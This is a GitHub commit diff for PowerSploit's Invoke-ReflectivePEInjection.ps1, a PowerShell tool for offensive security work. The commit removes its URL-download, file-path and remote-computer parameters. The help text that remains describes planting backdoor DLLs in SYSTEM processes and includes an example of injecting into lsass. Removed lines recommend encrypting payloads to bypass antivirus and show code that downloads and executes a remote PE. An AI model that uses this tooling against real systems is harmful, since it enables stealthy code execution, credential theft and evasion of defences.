Skip to content

Commit 0eb520e

Browse files
Matt GraeberMatt Graeber
Matt Graeber
authored and
Matt Graeber
committed
Removed extraneous parameters
Removed the following extraneous parameters: -PEPath -PEUrl -ComputerName The functionality they provided can be easily replicated in code outside of Invoke-ReflectivePEInjection. i.e. it should be up to the user how they might want to download a PE before loading it. That should not be dictated by Invoke-ReflectivePEInjection.
1 parent 17bfa4e commit 0eb520e

1 file changed

Lines changed: 18 additions & 89 deletions

File tree

‎CodeExecution/Invoke-ReflectivePEInjection.ps1‎

Lines changed: 18 additions & 89 deletions
Original file line numberDiff line numberDiff line change
@@ -7,54 +7,31 @@ This script has two modes. It can reflectively load a DLL/EXE in to the PowerShe
77
or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints,
88
please lead the Notes section (GENERAL NOTES) for information on how to use them.
99
10-
1110
1.)Reflectively loads a DLL or EXE in to memory of the Powershell process.
1211
Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process.
1312
14-
This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system,
15-
this will load and execute the DLL/EXE in to memory without writing any files to disk.
16-
17-
1813
2.) Reflectively load a DLL in to memory of a remote process.
1914
As mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to list DLLs of the running remote process.
2015
2116
This is probably most useful for injecting backdoors in SYSTEM processes in Session0. Currently, you cannot retrieve output
2217
from the DLL. The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the
2318
remote process.
2419
25-
26-
While this script provides functionality to specify a file to load from disk a URL, or a byte array, these are more for demo purposes. The way I'd recommend using the script is to create a byte array
27-
containing the file you'd like to reflectively load, and hardcode that byte array in to the script. One advantage of doing this is you can encrypt the byte array and decrypt it in memory, which will
28-
bypass A/V. Another advantage is you won't be making web requests. The script can also load files from SQL Server and be used as a SQL Server backdoor. Please see the Casaba
29-
blog linked below (thanks to whitey).
30-
3120
PowerSploit Function: Invoke-ReflectivePEInjection
32-
Author: Joe Bialek, Twitter: @JosephBialek
21+
Original author: Joe Bialek, Twitter: @JosephBialek
22+
Code review and modifications: Matt Graeber, Twitter: @mattifestation
3323
License: BSD 3-Clause
3424
Required Dependencies: None
3525
Optional Dependencies: None
36-
Version: 1.4
3726
3827
.DESCRIPTION
3928
4029
Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process.
4130
42-
.PARAMETER PEPath
43-
44-
The path of the DLL/EXE to load and execute. This file must exist on the computer the script is being run on, not the remote computer.
45-
46-
.PARAMETER PEUrl
47-
48-
A URL containing a DLL/EXE to load and execute.
49-
5031
.PARAMETER PEBytes
5132
5233
A byte array containing a DLL/EXE to load and execute.
5334
54-
.PARAMETER ComputerName
55-
56-
Optional, an array of computernames to run the script on.
57-
5835
.PARAMETER FuncReturnType
5936
6037
Optional, the return type of the function being called in the DLL. Default: Void
@@ -78,43 +55,30 @@ Optional, the process ID of the remote process to inject the DLL in to. If not i
7855
Optional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn't support ASLR. Some PE's will work with ASLR even
7956
if the compiler flags don't indicate they support it. Other PE's will simply crash. Make sure to test this prior to using. Has no effect when
8057
loading in to a remote process.
81-
82-
.EXAMPLE
83-
84-
Load DemoDLL from a URL and run the exported function WStringFunc on the current system, print the wchar_t* returned by WStringFunc().
85-
Note that the file name on the website can be any file extension.
86-
Invoke-ReflectivePEInjection -PEUrl http://yoursite.com/DemoDLL.dll -FuncReturnType WString
87-
88-
.EXAMPLE
89-
90-
Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc().
91-
Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName Target.local
9258
9359
.EXAMPLE
9460
95-
Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print
96-
the wchar_t* returned by WStringFunc() from all the computers.
97-
Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName (Get-Content targetlist.txt)
61+
Load DemoDLL and run the exported function WStringFunc, print the wchar_t* returned by WStringFunc().
62+
$PEBytes = [IO.File]::ReadAllBytes('C:\DemoDLL.dll')
63+
$Result = Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString
64+
Write-Output $Result
9865
9966
.EXAMPLE
10067
10168
Load DemoEXE and run it locally.
102-
Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4"
69+
$PEBytes = [IO.File]::ReadAllBytes('C:\DemoEXE.exe')
70+
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"
10371
10472
.EXAMPLE
10573
106-
Load DemoEXE and run it locally. Forces ASLR on for the EXE.
107-
Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR
74+
$PEBytes = [IO.File]::ReadAllBytes('C:\DemoEXE.exe')
75+
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR
10876
10977
.EXAMPLE
11078
11179
Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer.
112-
Invoke-ReflectivePEInjection -PEPath DemoDLL_RemoteProcess.dll -ProcName lsass -ComputerName Target.Local
113-
114-
.EXAMPLE
115-
116-
Load a PE from a byte array.
117-
Invoke-ReflectivePEInjection -PEPath (Get-Content c:\DemoEXE.exe -Encoding Byte) -ExeArgs "Arg1 Arg2 Arg3 Arg4"
80+
$PEBytes = [IO.File]::ReadAllBytes('C:\DemoDLL_RemoteProcess.dll')
81+
Invoke-ReflectivePEInjection -PEPath $PEBytes -ProcName lsass
11882
11983
.NOTES
12084
GENERAL NOTES:
@@ -134,8 +98,6 @@ The script has 3 basic sets of functionality:
13498
-Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory.
13599
-Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded.
136100
137-
138-
139101
DLL LOADING NOTES:
140102
141103
PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output.
@@ -182,50 +144,36 @@ Blog on using this script as a backdoor with SQL server: http://www.casaba.com/b
182144
183145
#>
184146

185-
[CmdletBinding(DefaultParameterSetName="WebFile")]
147+
[CmdletBinding()]
186148
Param(
187-
[Parameter(ParameterSetName = "LocalFile", Position = 0, Mandatory = $true)]
188-
[String]
189-
$PEPath,
190-
191-
[Parameter(ParameterSetName = "WebFile", Position = 0, Mandatory = $true)]
192-
[Uri]
193-
$PEUrl,
194-
195-
[Parameter(ParameterSetName = "Bytes", Position = 0, Mandatory = $true)]
149+
[Parameter(Position = 0, Mandatory = $true)]
196150
[ValidateNotNullOrEmpty()]
197151
[Byte[]]
198152
$PEBytes,
199153

200154
[Parameter(Position = 1)]
201-
[String[]]
202-
$ComputerName,
203-
204-
[Parameter(Position = 2)]
205155
[ValidateSet( 'WString', 'String', 'Void' )]
206156
[String]
207157
$FuncReturnType = 'Void',
208158

209-
[Parameter(Position = 3)]
159+
[Parameter(Position = 2)]
210160
[String]
211161
$ExeArgs,
212162

213-
[Parameter(Position = 4)]
163+
[Parameter(Position = 3)]
214164
[Int32]
215165
$ProcId,
216166

217-
[Parameter(Position = 5)]
167+
[Parameter(Position = 4)]
218168
[String]
219169
$ProcName,
220170

221-
[Parameter(Position = 6)]
222171
[Switch]
223172
$ForceASLR
224173
)
225174

226175
Set-StrictMode -Version 2
227176

228-
229177
$RemoteScriptBlock = {
230178
[CmdletBinding()]
231179
Param(
@@ -2900,18 +2848,6 @@ Function Main
29002848

29012849
Write-Verbose "PowerShell ProcessID: $PID"
29022850

2903-
if ($PsCmdlet.ParameterSetName -ieq "LocalFile")
2904-
{
2905-
Get-ChildItem $PEPath -ErrorAction Stop | Out-Null
2906-
[Byte[]]$PEBytes = [System.IO.File]::ReadAllBytes((Resolve-Path $PEPath))
2907-
}
2908-
elseif ($PsCmdlet.ParameterSetName -ieq "WebFile")
2909-
{
2910-
$WebClient = New-Object System.Net.WebClient
2911-
2912-
[Byte[]]$PEBytes = $WebClient.DownloadData($PEUrl)
2913-
}
2914-
29152851
#Verify the image is a valid PE file
29162852
$e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join ''
29172853

@@ -2935,14 +2871,7 @@ Function Main
29352871
$ExeArgs = "ReflectiveExe"
29362872
}
29372873

2938-
if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$")
2939-
{
2940-
Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR)
2941-
}
2942-
else
2943-
{
2944-
Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName
2945-
}
2874+
Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR)
29462875
}
29472876

29482877
Main

0 commit comments

Comments
 (0)